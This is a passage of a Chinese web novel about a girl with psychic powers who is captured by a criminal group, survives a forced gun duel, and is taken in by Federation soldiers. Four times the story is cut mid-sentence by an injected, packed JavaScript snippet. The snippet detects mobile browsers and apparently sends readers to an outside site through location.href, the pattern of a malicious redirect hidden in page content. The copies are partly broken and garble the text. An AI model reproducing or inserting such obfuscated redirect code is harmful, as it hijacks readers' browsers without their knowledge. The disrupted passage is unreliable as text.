“明天那家伙应该还会再找你,如果你不想被他变成弱智的话,就拿西索斯压他。” “叮——” 电梯门开了,贝莉娅和宋拾一起走了进去。 进入电梯后,两人默契地没有讲话。一直到电梯门打开,走出这栋冰冷的晨曦大楼,宋拾想了想,说道:“其实我不明白,你为什么会帮我。” “亲爱的,那么在意吗?”贝莉娅习惯性地、再次露出那甜腻的笑容,带着鼻音的哼笑,“或许是因为我不想你死吧,很奇怪,我看见你的第一眼就知道我们是一样的人。一样渴望自由,一样愚蠢地期待未来,即便深陷沼泽,也想挣扎向上,想活下去。” 她燃烧的眼眸黯淡下去,“即便未来是那么糟糕。” “你想逃离回溯吗?”宋拾脱口而出,问完后她心脏怦怦跳,她太心急了,万一贝莉娅只是随口抱怨。 贝莉娅惊讶转头看向她,“你知道吗?如果你说话的对象不是我,你一定会死。” 有戏! 宋拾目光亮得吓人,“我知道。所以,你也想离开这里是吗?” 贝莉娅像是很疲惫,垂下眼帘,轻飘飘的语气:“宋拾,回去吧,下次不要再说这种话了,不然我的枪可能真的会落在你的脑袋上。” 唉,走不通。 虽然在意料之中,但宋拾还是有些失望,不过好消息是,目前来看贝莉娅是值得信任的。 突然她想到什么,随口一问:“你知道伊索纳德号吗?” 贝莉娅没有问她为什么问这件事,也没有问她从何得知,只是留下一句“那天,回溯没有去多科市港口。” 回溯没有去多科市港口?所以那件事与回溯无关?宋拾回想起之前看的帖子,说那场爆破的手法很像回溯的手笔,也就是有人伪装成回溯炸了伊索纳德号。 是联邦还是其它组织?还是都有? 宋拾点开论坛,找到任务表格,填上:幕后黑手也许不是回溯。 “轰隆”一声,一道闪电劈开天空,又是一阵雷鸣,天空骤然下起大雨。 密密麻麻的雨水砸在地上,乌云也不知何时聚拢在一起,乌压压的,密不透风,空中低飞的白鸽羽翼被雨水打湿,始终飞不出这里,让这群钢铁建筑看起来更像是一座压抑的监狱。 “宋拾小姐,伞。”仿生人管家上前递出一把黑伞。 宋拾接过黑伞,意义不明地笑了下,道了声谢便撑开伞消失在雨幕中。 不得不说,Z虽然实在恶心,但教的精神术法还是很好使的。 她悄无声息地将枪塞进宽大的口袋里。 宋拾回到宿舍时也才下午两点,她简单地冲了个澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013780|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就迫不及待地在屋子里四处寻找东西检验今天新学的成果。 又是几瓶营养液下肚,宋拾已经可以让沉重的床浮起来了,虽然只坚持了三秒,但宋拾坚信量变会引起质变。 她开启智环,点开论坛,打算翻翻看有没有关于伊索纳德号的帖子,一进论坛就看见99+的私信。 铁皮猫:啊啊啊啊啊!!我就是个普通的高中生啊,我哪里会造义肢啊!我要崩溃啦!不要逼我啦!再逼我我什么事都会做出来,但就是义肢做不出来! 铁皮猫:我敲!我居然还真会!哈哈哈哈哈嗝,我好牛逼。咳咳,这具身体真牛逼,全靠身体记忆力。 铁皮猫:没想到我的身份那么重要?!可恶可恶,我要藏好尾巴,不能被他们发现芯子换了。呜呜呜。 …… 宋拾一目十行飞速翻阅,全息屏幕上密密麻麻的牢骚,夸张的语气,都透露着说话者本人十分美丽的精神状态。 突然,宋拾看到几条显眼的信息。 铁皮猫:好恐怖好恐怖!好险!差点就被发现了!一团蠕动的肉块,吃人的肉块!啊啊啊!怎么办怎么办,他们会不会发现我!我不是故意走到那间实验室的QAQ,我真的是上厕所迷路了。 铁皮猫:……没事了,原来我也是他们的一员。他们说这肉块是从伊索寓言号还是什么号上下来的,原本只是小拇指盖大小的肉渣,现在已经有足球那么大了。好恶心。 铁皮猫:完了完了,他们说的什么啊,我听不懂……这团肉居然叫天使三十三号? 宋拾一口气阅读完后,在心里默默感谢这位叫铁皮猫的用户。 她戳开表格,在“伊索纳德号上运着什么?”的一栏填写上:天使三十三号(会生长,吃人的肉团)。 接着宋拾点开聊天框。 今天捡垃圾了吗:请问,关于伊索纳德号,你还知道什么? 铁皮猫:! 宋拾一直盯着屏幕,但对方在发了一个“!”后,就再无动静。 终于,对方回消息了。 铁皮猫:红豆泥私密马赛!我真的不是故意的!愿逝者安息逝者安息!【双手合十】我我我以后再也不会打扰您的账号了!下辈子投个好胎,记得千万不要投错世界了! 宋拾:“……” 真的好美丽的精神状态。 今天捡垃圾了吗:我没死。你能给我讲讲伊索纳德号,以及那个天使三十三号吗? 铁皮猫:呜呜呜,老乡你居然还活着,真的是太好了。呃,关于伊索纳德号和天使三十三号,其实我也不太明白,我现在还在装面瘫应付这群人呢。不过我一有消息,一定会告诉你的哈。 今天捡垃圾了吗:好的,谢谢。作为回报,我教你如何应付人吧,他们问你,你就笑而不语,故作深沉。在他们谈论的时候,你最好适时做出表情,再配合上语气词“啧”“呀”“唉”。 人类的脑补是强大的,只要你稍加引导,他们会为你想好理由的。 铁皮猫:别说!老乡你别说!我刚才试着“啧”了一声,他们看的表情都不一样了!!那叫一个惶恐和钦佩! 宋拾心满意足地退出聊天界面,开始学习【骨肉再生】剩下的课程。 今天注定要学到半夜了。 8. 第八章 第二天早上,宋拾是被墨格拉的提示音唤醒的。 “今日有特大甜雨,请回溯全体做好防护,出门佩戴专用雨具。预计下到下午两点半。” 接着,智环上就发来今日的训练将在室内进行的通知。 宋拾洗漱完毕,灌了两瓶营养液后才走出房门,看见其它房间的孩子也陆续打开房门准备出发。她混在人群里,从仿生人管家手里拿了雨具,撑开伞,走进雨幕中。 宋拾抬起头。 灰扑扑的云层拥挤着,铺满整个天空。没有找到庇护所的孤鸟艰难地扇动翅膀,狂风轻轻一推,它弱小的身影摇摇欲坠,甜雨雨滴一点点侵蚀着它的羽翼,它的生命。 逐渐,宋拾就看不见那只孤鸟的身影了。 它被甜雨“吞掉”了。 突然,一股甜腻的糖果香气靠近,宋拾不用回头就知道是贝莉娅。 “有时候,真想义无反顾地扔掉雨伞,走进这片雨幕之中。” 头发卷曲的小绵羊用她那慵懒黏连的语调轻声道。 宋拾没有回答,只是沉默地看着她脸上甜腻的笑容。Z和贝莉娅在某种程度上来说,他们是相似的,习惯性地戴上面具,嘴角永远是笑容。 “今天,是我的生日。”她嘟囔一句,红色的眼眸望向那只孤鸟消失的地方。 宋拾挪动雨伞,雨幕之下,两张黑伞靠得近了些。 “祝你生日快乐。” “谢谢。” 贝莉娅弯弯眼角,撑着伞快步离开。 宋拾转身望向她消失的身影,一条与她截然相反的路。 嗯?难道只是想听一句生日祝福? 抵达室内训练场,今天的学习依旧是射击。宋拾这次表现很好,把把十环,但这显然没有消除老师的仇视。 他今天让她跑三十圈。 受到老师“格外照顾”的宋拾,没有一个孩子愿意靠近她,省去了不少麻烦,这点宋拾倒是挺满意的。 跑完三十圈后,宋拾再一次瘫倒,让墨格拉送些营养液过来。 没一会,一道黑影笼罩在她脸上,她以为是墨格拉派来的仿生人或者机器人,伸着手等着接过营养液。 “啪。”清脆的响声。 对方拍开了她的手。 宋拾睁开眼,是一个年纪稍大的少年。宋拾记得他,喜欢鼻孔朝天示人的小屁孩,枪法好像还挺准的。 “我们来比射击。”少年傲气凌人地抬着下巴。 宋拾翻了身,没兴趣,随意摆了摆手:“我现在很累,刚跑完三十圈,你去找别人跟你比吧。” 少年脸上顿时露出类似窘迫恼怒的神情,没有人敢这么拒绝他。 他上前要去揪宋拾的衣领,谁知女孩跟个泥鳅一样,明明累得抬不起胳膊,却在他伸出手的瞬间滚到一旁挺身坐起。 宋拾皱着眉,和他大眼瞪小眼:“都说了很累了,能不能不要打扰快要累死的人,就算要比你也要等我休息好吧。” 少年想了想,点头:“好。” 好个屁。 这时,送营养液的仿生人七号也到了,它将几瓶营养液放在宋拾身边。 宋拾拿起营养液就开始疯狂灌入,她的胃仿佛是个无底洞,不一会,瓶子便全空了。 “你、你、哪有你这么喝营养液的?”少年震惊地望着空瓶,“而且还是高浓度的营养液……你也不怕喝死。” 没有人告诉宋拾该喝多少营养液,所以她一般都喝到饱,反正又不花她的钱。 她打了个哈欠,精力已经恢复了大半,她弹了弹身上灰尘站起身:“少说些没用的废话。你不是说比赛吗,怎么比?” 少年冷哼一声,脸上恢复倨傲的神态:“当然是射靶子——” “不如比个更有趣的吧。” 两人身后不知何时站着一个人。 宋拾转头,披着黑色的裘皮大衣男人不知是看了多久。 他戴着手套的手拍了拍,“既然要比,那比个有趣的。” “我给你们一人一把枪,各三发子弹,回合制射击对方,胜者活,败者死,怎么样?” 西索斯的食指贴上勾起的嘴唇,轻慢的语调染上些许刻薄的意味。 “当然,如果六声枪响过后,你们都活着,结局你们应该知道的。回溯不养废物。” 少年的脸陡然苍白起来,他抖着唇瓣试图解释:“不、不是的,西索斯先生,我们只是简单地比一下谁的枪法准……” 西索斯抬了抬眼皮,看向宋拾,皮笑肉不笑。 “是不是也该给我展示一下你的价值呢?单你这两天消耗的营养液,就是普通孩子一个星期的量,我很想知道,你究竟值不值。” 宋拾:“……” 不是,不就喝了点你们家营养液吗?怎么那么小肚鸡肠! 宋拾对上西索斯灰蓝色的眼珠,说:“好。” 少年不可置信看向宋拾:“你!”随后他厌恶地移开了视线,“既然你愿意这么比,那我也不会手下留情。” 宋拾懒得争辩。 又不是她乐意这么做,但西索斯话都说到这个份上了,宋拾想要活命,就必须让他满意。 窗外的甜雨似乎更大了些,淋浴花洒似的密集的雨在地面上砸起一个又一个水花波纹。 斗兽场般的训练室上围满了人,他们站在电子屏障外围,以免被误伤到。屏障内,两人各拿一把枪,紧紧盯住彼此。 西索斯手中弹着一枚硬币,他看向两人,道:“花面陈晓先手,字面宋拾先手。” 硬币被抛掷在空中,空气仿佛在这一刻停止流动,训练场安静得甚至能听见彼此的呼吸。 硬币落在手上。 裁判宣布结果: “花面,陈晓先。” 宋拾看见对面的少年举起手中的枪,他的手在颤抖,颤抖地将枪口从她心脏的位置偏了偏。 西索斯显然也看见了,他嘲弄笑道:“你想要放过她,有没有想过,她会不会放过你呢?孩子,斗兽场里只能活一个。” 陈晓的脸越发苍白,哆嗦着再次瞄准位置,宋拾的心脏。 扣动扳机。 “砰——” 而在宋拾眼里,一切都变成了掉帧的慢动作。 子弹从枪口发出,枪口缓慢升起的硝烟,少年眼眶里恐惧的泪水。 西索斯见宋拾竟然不知道躲,呆愣地站在原地,他有些恼火,自己居然看走了眼,收了这么一个废物。 陡然间,宋拾身上迸发出蓝色的光芒,密密麻麻的蓝色符文从她身上快速滚动着,弹射而出的子弹也在这一刻被定在空中,一动不动。 “铛”的一声,落在地上。 训练场足足安静了有三秒钟,接着人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013781|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里像是被丢下一颗炸弹般沸腾骚动了起来,不知是谁喊了一句:“她是精神师!杀了她!” 这句话仿佛有某种魔力,感染到了在场的每一个人,他们的声音此起彼伏:“杀了她!杀了她!” 宋拾冷漠地看了眼癫狂的人群,又将目光投向陈晓。 陈晓额头上满是汗珠,他发白的唇瓣哆嗦着,手中的枪好几次险些被他抖掉地下。 “陈晓你个囊种!你爹妈就是被精神师杀死的!开枪啊!”人群里有人扯着嗓子喊道。 陈晓红着眼眶,泪珠顺着他的眼角滚落,颤抖着手指扣动扳机。 “砰!砰!” 连续的两声枪响。 无一例外,两颗子弹都被定格在空中,随即“铛”地一声落地。 陈晓不知是恐惧还是无力,丢下手里的空枪,瘫倒在地上。 咒骂声、唏嘘声、尖叫声充斥整个训练场,西索斯没有制止这群疯狂的人。他们像是野蛮的凶兽,疯狂拍打着电子屏障,恨不得自己上场将那位小精神师杀死。 即便,她是无辜的。 即便,导致他们沦落至此的不是她。 但那又怎么样?堕落进深渊的人们急需一个宣泄口,他们才不在乎所谓的冤有头债有主。 “到我了。”宋拾声音不大,但是陈晓清楚地听见了。 大颗大颗泪珠从眼眶里滚落,惊恐地闭上眼睛,面对精神师的恐惧又一次涌上心脏,陈晓如坠冰窟。 “砰!” 枪响了。 安静了。 鲜血滴落在铁皮地板上,宋拾枪口冒着滚烫的硝烟,她扬起被子弹射穿的手掌,正对着西索斯。 淡蓝色的符文在她皮肤上飞快滚动着,手掌上的洞口长出的新骨肉,红色的肉芽交织生长,最终伤口消失。 “这样,可以证明我的价值吗?” 女孩的眼睛很亮,闪烁着光,毫不畏惧地与他对视。 “……”西索斯没有说话,或者说,他一时间不知道该说什么。他应该感到高兴,因为他真的捡到一个不错的工具,可是不知道为什么,他有种当众被扇了一巴掌的恼怒。 如果宋拾知道他的想法,一定会告诉西索斯,这是他那该死的掌控欲在作祟。上位者总不允许事态超出自己的预想。 这场斗兽场里,没有牺牲者。 屏障打开,原本疯狂的人群仿佛得到了某种进化,像人一样站在原地,没有人嘶吼,没有人上前与宋拾决斗。 西索斯笑不出来,他阴恻恻看着宋拾:“Z教了你这么多?” 宋拾眨眨眼:“也没有教我很多,只是我学得比较快。作为回溯的一员,我肯定要充分地证明自己的价值,不是吗?” 西索斯舔了舔牙尖,气笑了:“好,很好。”说完,他连续咳嗽了几下,跨步离开了训练场。 事实证明,人性还是回归了,即便在西索斯走后,也没人再敢上前。 宋拾终于松了口气,靠近还在发懵的陈晓,伸出手,“需要帮忙吗?” 陈晓呆愣地望着她,缓缓伸出手搭在她的手上,但突然,他面容狰狞了下,猛地站起,狠狠地将她推到在地上,便跑了。 ??宋拾顿时有种东郭先生与狼的既视感。 警报声响起,传来墨格拉的声音: “警告!警告!有不明飞艇靠近!” 9. 第九章 空鸣警报拉起,伴随着暴雨雷鸣,墨格拉的声音紧迫起来。 “警告!检测到大量不明飞艇靠近基地!疑似联邦军飞艇,预计三十分钟后抵达。” “操,联邦那些龟孙。”训练场人群陡然间乱成一锅粥,逃窜杂乱的脚步声,不安与暴躁的氛围笼罩在每个人的头顶。 播报“滋啦”一声,传来西索斯的声音: “我们当中出现了叛徒,联邦军队正在靠近回溯基地。现在,立即搬运医疗室设备物资、重要数据、武器跟随墨格拉的指示快速撤离。三十分钟后,墨格拉将引爆基地。” 骚乱中,墙面骤然亮起指示灯。 墨格拉的声音:“请搬运重要物资到晨曦大楼楼顶,飞艇已备好。” 联邦军队打过来了?! 宋拾急忙随着人群跟着指示灯跑,突然,她的脚步停顿住,不对啊!这可是千载难逢的大好机会,她可以趁乱逃了。 后面紧跟的人见她不动,狠狠将她推到一边,骂道:“妈的,不怕死别挡道。” 回溯全体都在忙搬运和撤离的事情,没人注意到宋拾捡起伞,一头扎进雨幕中。 三十分钟后,这里将变成一片废墟,宋拾必须在二十分钟内找到出口,找不到的话她就只能跟着回溯先撤离了。 密集的雨砸得伞噼里啪啦响,甜雨雨幕中,宋拾看见一道同样格格不入的身影。 贝莉娅焦急地往赵珂的实验室方向奔跑,她没有打伞,濡湿的黑发紧贴在脸上,面色苍白。 看来想趁乱逃跑的不止她啊,宋拾决定先跟着贝莉娅。 警报声仍在鸣响,警示的红色箭头催促着,众人都往大楼的方向去,唯独两人一前一后地跑进实验室。多亏了这两天的锻炼和营养液,宋拾很快便跟上贝莉娅了。 宋拾眼睛亮晶晶:“逃、逃跑带我一个!” 纤细的少女惊愕转头,下一秒,她神色一暗,利落从腰间掏出枪,对准宋拾,扣动扳机。 “砰!” 宋拾的瞳孔一瞬间扩大,精神术法甚至来不及释放。 子弹穿透身体的同时伴随着一声痛呼。 黑发的少女将枪收进腰间,嘴角扯出点笑意,“宋拾,我又救了你一命哦。” 我、我没死? 宋拾恍惚地摸了摸胸口,没有窟窿,没有血。 随即,又一声痛苦的喘息从她身后响起,她闻声转头望去,是一个出乎意料的人。 陈晓。 他瘫跪在地面上,被子弹穿透的胸脯血汩汩地往下流,染红一大片地,他手无力垂下,不远处是一把枪。 拉风箱般的“哧哧哧”声响从陈晓喉咙里挤出,嘶哑的嗓音带着某种恶毒:“精神师……都、都该死……” 宋拾不知道该说什么,张了张嘴,最终什么也没说。 她转身对贝莉娅笑了下:“谢谢你又救了我,可以带我一起逃吗?” 贝莉娅收起看戏的目光,皱起眉毛,“你不会以为我跑到这是为了逃跑吧?” “……不是吗?” “出口在东南角方向,至于能不能找到出口就看你自己了。”贝莉娅边说边往赵珂实验室的方向走去。 宋拾看着贝莉娅的背影纠结了下,小步跟上:“你不逃吗?” 此时,贝莉娅走到了实验室门口,“滴——”金属门升起,赵珂并不在里面,也许是跟随指示灯离开了。 咕嘟冒泡大大小小的营养罐被遗弃在这里,大号营养罐中的长发少女紧闭着眼眸。 宋拾觉得罐中的少女越看越眼熟,这时贝莉娅不知从哪翻出个锤子,提醒宋拾往后靠靠,用力一锤子砸破罐子。 “哗啦”玻璃爆碎声夹杂着营养液流动的声音,罐中的少女瘫倒在地面上,呼吸均匀。 贝莉娅攥住少女的胳膊搭在自己肩膀上,一把背起。 两张面孔一模一样。 宋拾没那么八卦,她只是再问了遍:“你真的不逃走吗?” 贝莉娅红色的眼眸望向她。 “离开回溯,我妹妹会死。”她垂下眼睑,“赵珂答应我能治好她。宋拾,现在距离墨格拉引爆基地还剩十七分钟,出口在东南角方向,希望……我们后会无期。” 贝莉娅空出手抽出腰间的枪交给宋拾。 宋拾接过枪,上面刻着一只粗糙滑稽的绵羊,和“forever”。 鼻尖糖果的甜腻香气逐渐消散,她决定做最后的尝试,“这个世界的医疗水平并不低,为什么一定要留在回溯呢?” 贝莉娅的脚步停下来,她又一次地戴上了她的面具,扬起她甜腻的笑容:“宋拾,如果有面包,谁又会愿意吃垃圾呢。我向救助所求助过,也正是那次,我才知道劣等基因的底层人是无权利享受救助所的救助,以及一切治疗。” 她还是走了,纤细的背影越来越小。 宋拾绕过苟延残喘的陈晓,刚打起伞踏进雨幕中,警报声又一次拉响。 “警告警告!联邦军队即将抵达,请快速撤离!请快速撤离!” 宋拾点开智环看时间,按理来说还剩十五分钟,联邦军队怎么来得那么快? 错过了最佳逃跑时间,五分钟内她也不能保证找到出口,只能先跟着回溯上飞艇了…… 宋拾刚要迈腿离开,一阵狂暴疾风吹来,她猛然抬头,甜雨中,联邦军队飞艇嗡鸣的声响盘旋在上空。 飞艇舱内。 “还是让那群老鼠逃走了。”副官无奈地摊手,问着身边的男人,“上校,还是老样子吗?” 男人一袭军装挺拔,颔首,声音有些冷硬,“老规矩。” 他话音刚落,数架飞艇底板舱口齐刷刷亮出硕大的炮口。 刹那,炮火轰鸣,硝烟弥漫,火红刺眼的炮火下,高楼建筑,训练场,实验室瞬间支离破碎,崩塌。 看着炸弹都投下,霍尔捏着腰间的枪,踩着军靴正要离开。 “老天,这里怎么还有个孩子。”副官突然错愕惊呼。 霍尔猛地转身,金色的瞳孔陡然缩成针尖。电子屏幕上,硝烟弥漫的炮火中,一个小女孩瘫坐在地上,恐惧地瞪大眼睛。 “上校,来不及的,别——” “轰隆—” 高大的建筑物轰然倒塌,直直砸向宋拾,莫大的恐惧桎梏住她的手脚,动弹不得,只能眼睁睁地看着夹着火焰的巨大碎石砸来。 突然,眼前迸发出一道熟悉的、强烈刺眼的蓝光,宋拾忍不住闭上眼,转瞬之间,倒塌的建筑碎石化为齑粉随风散去。 霍尔顿住脚步,金色的瞳孔扩大。 火势逐渐蔓延,呛鼻的烟熏味笼罩在整个上空。 朦胧中,宋拾落入一个温暖的怀抱,对方胸口的肌肉很结实,心脏平稳而有力地跳动着,给人一种很安心的感觉。 “醒醒。”男人低沉温柔的嗓音轻柔地拂过她的耳畔。 宋拾强撑着掀开眼皮,只看见了棱角分明的下颌线,察觉到女孩的目光,霍尔低头牵起嘴角露出安抚的笑容。 “没事了。” 他说。 没事了?发生什么了? 宋拾微微睁大眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013782|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “上校您没事吧?”副将急忙跑过来。 霍尔摇头,淡金色的眼瞳落在了宋拾脸上,“先回飞艇。” 上了飞艇后,宋拾就被盘问了。 虽然说是盘问,但眼前的军人姐姐很温柔,大致地问了些问题,又不敢问太多怕小孩应激。 “所以你说你是精神师?”军人姐姐惊讶地抬头,写字的手也顿住了。 宋拾点头,“需要我证明吗?我会一点精神术法的,虽然只有一点点。” 军人姐姐闻言笑了笑,摸摸她的脑袋,温柔道:“不用,等到联邦后检查一下就可以。那你知道你身上的蓝光是怎么回事吗?” 又是蓝光。 宋拾压下心底的困惑,垂下的脑袋轻轻地摇了摇。 军人姐姐柔声道:“不知道也没关系。今天被吓到了吧,先去睡一会,等睡醒了就到联邦了。” 小孩的身体经不起折腾,宋拾的确有了些困意,打着哈欠跟着军人小姐姐进了休息室休息。 副官见女军人轻手轻脚地从房间走出后,问道:“怎么样?” “孩子除了受了点惊吓外并没有受伤。她说自己是精神师,在和检测官去联邦的路上被回溯堵了,就被绑到了回溯。至于上校说的蓝光,小姑娘好像也不太清楚。” 副官蹙眉,“精神师?回溯居然没……咳咳,等回联邦后再问问吧。” …… 宋拾很少睡得这么沉,醒来时发现自己睡在一张陌生的床上。柔软的被褥贴在身上,床边整整齐齐叠着一条漂亮的小裙子和小鞋子。 窗外阳光明媚,暖洋洋的光线透过玻璃窗照在她的脸上。 活着。 真好。 “咚咚。” 房门突然被叩响,紧接着有人拉开门。 宋拾扭头,余光中是一双笔直颀长的腿和锃亮的军靴。 “睡得怎么样?” 一个身着军装的男人推门走了进来,银色的长发绸缎般地披散在肩头,却不会让人觉得阴柔,他淡金的眼睛微微眯起。 “睡得很好,这个床很柔软。”宋拾露出小女孩该有的腼腆笑容。 霍尔颔首,瞥了眼手表,他尽量让语气变得柔和:“九点测精神值,如果不舒服的话,可以挪到下午。” “九点就可以,先生。” “咚。”房门被关上了。 隔了大概十几秒,房门再度被敲响。 宋拾以为霍尔忘记嘱咐什么折回来了,结果进来的是一个托着餐盘的医生,她的瞳孔微缩。 医生穿着白大褂,金发碧眼,戴着金边眼镜,笑容温和。 此刻,窗帘被风吹动,一阵浓烈的玫瑰香水袭来,冰凉的链条垂落在她的脸旁。 男人顺势将餐盘送到女孩手上,亲昵地贴近她的耳边,低沉饱满的嗓音犹如魔鬼的诱惑:“宋拾小姐你好,我是上校为您安排的心理咨询师。” 宋拾瞥了眼餐盘中奶油小点心,攥紧手心,内心无声尖叫。 不是不是!这个老登是怎么混进来的?!联邦的安防到底行不行啊! Z笑得温文尔雅,很是愉悦地垂眸俯视她:“也没过很久啊,怎么不认识老师了?” 宋拾脸色不太好,警惕地盯着他:“你们想干什么?” “你是个聪明的孩子。”Z加重了笑意,手指轻轻地虚指向她的左胸口,“不要轻易地背叛回溯,不然——滴答滴答滴答,嘣!” 宋拾大脑顿时一片空白。 定时炸弹,回溯在她的心脏里面安装的定位炸弹。 10. 第十章 要想办法把这个定位炸弹从心脏里摘除。 她垂下眼睫,将最后一口点心吞入腹中,奶油的甜腻充斥口腔,却没有带来一丝愉悦。 突然,手中的餐盘燃烧起蓝色的火焰,烫得宋拾甩手将盘子丢了出去。 “咔嚓”一声四分五裂,很快那些碎片也被火焰吞噬得一干二净。 始作俑者嗤笑一声,好以整暇地理了理袖口。 “你!” “不过是一个聪明点的孩子,真想不明白西索斯究竟看中你哪了。”Z讥讽说着,顺手打开家用终端,调到某个新闻频道。 “祝你好运。”他缓步离开了房间。 房间内消散不去的玫瑰香。 回溯里的都是什么神经病啊! 宋拾咬牙切齿,目光投向屏幕。 荧幕上一位三十岁左右的女性正在接受采访,她面无表情,话也缩得很短。 下方显示着身份介绍“义肢协会主席——付秋棠”。 “我将会在明天上午八点抵到联邦学院进行授课,还有什么问题吗?”付秋棠抬着下巴,扫视镜头。 “请问,听说您在和财阀集团合作,接手了一项研究长生的项目,是真的吗?” 付秋棠不耐烦地“啧”了一声,皮笑肉不笑讥讽地看着那位记者:“你是哪家报社的?这么愚蠢的问题也敢拿出来问。” 那位记者“呃”了半天,就被其他报社的记者挤了下去。 宋拾陷入诡异的沉默。 Z让她看这个是什么意思?出名的义肢学家?还是……她将目光移到屏幕上的大字“义肢协会主席付秋棠将会到联邦学院授课。” 难不成是联邦学院? “叮咚”一声,宋拾的床头突然发出声响,温柔的机械女声:“距离九点的精神值检测还剩二十分钟,请跟随宙启的指示灯。” 屋内墙壁上骤然亮起绿色的指示灯。 宋拾穿戴洗漱好,摸了摸之前的衣服,不出所料,枪和智环都不在。 “请跟随指示灯。”床头的电子音催促道。 宋拾丢下手中的旧衣服,跟着绿色的指示光走出了房间。 亮长廊外的花园,水池,叽喳的鸟儿,无一例外都是人工造影。 路上碰见运着营养液的管家机器人,她手痒顺手捞了两瓶,喝完营养液后,思绪终于逐渐活络起来。 很快她就走到了检测室,里面站着霍尔和一位上了年纪的严肃女性,竟然还是张熟悉的面孔,那位在久藤市为她检测的检测官。 特瑞莎显然也认出了宋拾,她充满岁月褶皱的面庞露出丝笑意,冲她招招手。 宋拾跟随特瑞莎的指示走到那架巨大的机械面前,机械表面浮着充能的光。 当她站进去时,机械发出提示:“精神值检测现在开始。” 特瑞莎说:“这台机器的精度是全联邦最高的。” “检测结果为——滴——”尖锐的警报声炸响整个检测室。 “数据异常!数据异常!” 每个人脸上的表情都不算好看,特瑞莎急忙查看数据。 宋拾心底的疑惑愈发浓重,这个身体到底是什么来头?救命的蓝光,测不出的精神值,一切都被翻滚厚重的云雾遮挡。 “那天,她身上爆发出了一道蓝光。”霍尔突然出声,瞬间吸引了特瑞莎的目光,她看向这位年轻的上校。 不知为何,宋拾的心脏提了起来,她有预感,这不是件好事。 霍尔接着说:“那道光照到碎石,碎石就变成了粉末,我不清楚是不是所有精神师都有这个能力。” “我从来没有听说过精神师身上除了蓝符外还有蓝光的。” 特瑞莎看向宋拾:“那道蓝光出现过几次?” “只有这一次。”宋拾留了个心眼,第六感的雷达疯狂滴滴警告。 第六感往往是最准的。 “蓝光出现时,你身上有什么感觉吗?” 宋拾垂着头:“并没有什么感觉,也没有不适的感觉。” 特瑞莎若有所思点头,打开终端开始向上级汇报,对面听完后,惊愕来了句:“只有那位才……咳咳,我是说,带她先去验一下血。” 通讯结束,特瑞莎行动很迅速,传唤了医疗机器人过来。 没过多久,机器人推着小车走进了检测室,它拿起针尖往宋拾手指上扎,挤出血装进容器里。 …… 宋拾脑袋里始终盘旋着那句“只有那位”,“那位”是谁?和这个身体有什么联系吗? 等她反应过来时,发现自己跟着霍尔已经走出了检测室,并且身体下意识滴水不漏地回答完了霍尔问的所有问题。 现在,她也该盘算该如何进入联邦学院了。 宋拾摸不准西索斯究竟是如何想的,在安装在心脏里的定位炸弹没取出来之前,她必须要按照他们的要求来。 宋拾心里转了个弯,打算先降低霍尔的警惕,她抬起头,眼中闪烁着不安:“先生,我在想自己是不是个异类呀。” “我会不会被抓去做研究啊。” 霍尔神色凝重,显然这位上校并不擅长安慰孩子,甚至善意的谎言他都说不出口。 “你……”他想了想,决定转移话题,“我们在你身上搜……呃,找出了一个通讯设备和一把枪。” 说着,他从口袋里掏出用特殊材质装起的智环和枪,在宋拾眼前晃了晃,又装进了口袋。 宋拾:“……” 很好,这是你自己拿出来的。 宋拾抬头状若无意扫了眼监控,望向被高大紧密的建筑群遮挡的天空,撒下来的暖光是人造太阳光。 她跳到霍尔身旁,脸上是小心翼翼的希冀。 “先生,我听说,所有的精神师都会去联邦学院,我也能去那里吗?” 女孩仰着头,琥珀色的眼眸缀满星星,“哦不,这个要求是不是过分了?” 霍尔皱眉看了眼表,问道:“现在吗?” “现在的话我有时间,可以先把你送过去办理入学手续,晚上结束后无人车会去接你。” 这么爽快?!宋拾瞪大眼睛,不确定地再问道:“不用向您的上级请示吗?” 霍尔像是听到什么好笑的事情,嘴角轻轻扬起,并没有注意到女孩似乎将什么东西丢进了花盆的角落里。 宋拾再一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 